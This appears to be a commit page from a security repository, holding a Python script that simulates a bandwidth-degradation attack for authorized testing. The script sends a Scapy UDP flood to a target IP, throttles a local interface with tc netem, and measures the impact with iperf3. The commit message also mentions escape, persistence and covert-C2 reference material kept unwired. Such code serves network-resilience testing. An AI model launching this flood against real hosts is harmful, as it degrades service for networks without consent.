Claude 24f816b6a3
Consolidate 22 sibling repos into layered organism structure
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):

- brain/        LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
                dispatch, A51 channels, and the OSINT cluster
- knowledge/    LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
                MITRE ATT&CK data
- reference/    defensive threat-reference (C3, shhbruh doc) + AdaYaml parser

License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.

Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.

https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
2026-06-10 06:53:01 +00:00

157 lines
6.0 KiB
Python

#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""
Bandwidth Throttling Attack Simulation Agent — AUTHORIZED TESTING ONLY
Simulates bandwidth degradation attacks using Scapy and tc (traffic control)
to test QoS controls and network monitoring detection capabilities.
WARNING: Only use with explicit written authorization on isolated test networks.
"""
import json
import subprocess
import sys
from datetime import datetime, timezone
from scapy.all import IP, UDP, Raw, send, RandShort
def run_cmd(cmd: list[str]) -> dict:
"""Execute shell command and return output."""
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
return {"success": result.returncode == 0, "stdout": result.stdout, "stderr": result.stderr}
except Exception as e:
return {"success": False, "stdout": "", "stderr": str(e)}
def setup_tc_throttle(interface: str, rate: str = "100kbit", latency: str = "200ms") -> dict:
"""Configure tc (traffic control) to throttle bandwidth on an interface."""
clear = run_cmd(["tc", "qdisc", "del", "dev", interface, "root"])
result = run_cmd([
"tc", "qdisc", "add", "dev", interface, "root", "netem",
"rate", rate, "delay", latency, "loss", "5%",
])
return {
"interface": interface,
"rate_limit": rate,
"added_latency": latency,
"packet_loss": "5%",
"applied": result["success"],
"error": result["stderr"] if not result["success"] else "",
}
def remove_tc_throttle(interface: str) -> dict:
"""Remove tc throttling rules from interface."""
result = run_cmd(["tc", "qdisc", "del", "dev", interface, "root"])
return {"removed": result["success"], "error": result["stderr"] if not result["success"] else ""}
def generate_bandwidth_flood(target_ip: str, target_port: int, packet_count: int = 100,
packet_size: int = 1400) -> dict:
"""Generate controlled bandwidth consumption traffic using Scapy."""
payload = Raw(load=b"X" * packet_size)
packets_sent = 0
start = datetime.now(timezone.utc)
for _ in range(packet_count):
pkt = IP(dst=target_ip) / UDP(sport=RandShort(), dport=target_port) / payload
send(pkt, verbose=False)
packets_sent += 1
end = datetime.now(timezone.utc)
duration = (end - start).total_seconds()
total_bytes = packets_sent * (packet_size + 42)
return {
"target": f"{target_ip}:{target_port}",
"packets_sent": packets_sent,
"total_bytes": total_bytes,
"total_mb": round(total_bytes / (1024 * 1024), 2),
"duration_seconds": round(duration, 2),
"rate_mbps": round((total_bytes * 8) / (duration * 1_000_000), 2) if duration > 0 else 0,
}
def measure_baseline(target_ip: str, port: int = 5201) -> dict:
"""Measure baseline bandwidth using iperf3 client."""
result = run_cmd(["iperf3", "-c", target_ip, "-p", str(port), "-t", "5", "-J"])
if result["success"]:
data = json.loads(result["stdout"])
end = data.get("end", {}).get("sum_sent", {})
return {
"bandwidth_bps": end.get("bits_per_second", 0),
"bandwidth_mbps": round(end.get("bits_per_second", 0) / 1_000_000, 2),
"bytes_transferred": end.get("bytes", 0),
"duration": end.get("seconds", 0),
}
return {"error": result["stderr"], "bandwidth_mbps": 0}
def generate_report(baseline: dict, throttle: dict, flood: dict, post_baseline: dict) -> str:
"""Generate bandwidth throttling simulation report."""
lines = [
"BANDWIDTH THROTTLING ATTACK SIMULATION REPORT — AUTHORIZED TESTING ONLY",
"=" * 70,
f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}",
"",
"BASELINE MEASUREMENT:",
f" Bandwidth: {baseline.get('bandwidth_mbps', 'N/A')} Mbps",
"",
"THROTTLE CONFIGURATION:",
f" Interface: {throttle.get('interface', 'N/A')}",
f" Rate Limit: {throttle.get('rate_limit', 'N/A')}",
f" Added Latency: {throttle.get('added_latency', 'N/A')}",
f" Applied: {throttle.get('applied', False)}",
"",
"FLOOD RESULTS:",
f" Target: {flood.get('target', 'N/A')}",
f" Data Sent: {flood.get('total_mb', 0)} MB",
f" Rate: {flood.get('rate_mbps', 0)} Mbps",
"",
"POST-ATTACK MEASUREMENT:",
f" Bandwidth: {post_baseline.get('bandwidth_mbps', 'N/A')} Mbps",
"",
"IMPACT ASSESSMENT:",
]
if baseline.get("bandwidth_mbps") and post_baseline.get("bandwidth_mbps"):
degradation = baseline["bandwidth_mbps"] - post_baseline["bandwidth_mbps"]
pct = round(degradation / baseline["bandwidth_mbps"] * 100, 1) if baseline["bandwidth_mbps"] > 0 else 0
lines.append(f" Bandwidth Degradation: {degradation:.2f} Mbps ({pct}% reduction)")
return "\n".join(lines)
if __name__ == "__main__":
print("[!] BANDWIDTH THROTTLING SIMULATION — AUTHORIZED TESTING ONLY\n")
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <target_ip> <interface> [packet_count]")
sys.exit(1)
target_ip = sys.argv[1]
interface = sys.argv[2]
pkt_count = int(sys.argv[3]) if len(sys.argv) > 3 else 100
print("[*] Measuring baseline bandwidth...")
baseline = measure_baseline(target_ip)
print("[*] Applying throttle rules...")
throttle = setup_tc_throttle(interface)
print(f"[*] Sending {pkt_count} flood packets...")
flood = generate_bandwidth_flood(target_ip, 9999, packet_count=pkt_count)
print("[*] Measuring post-attack bandwidth...")
post_baseline = measure_baseline(target_ip)
print("[*] Removing throttle rules...")
remove_tc_throttle(interface)
report = generate_report(baseline, throttle, flood, post_baseline)
print(report)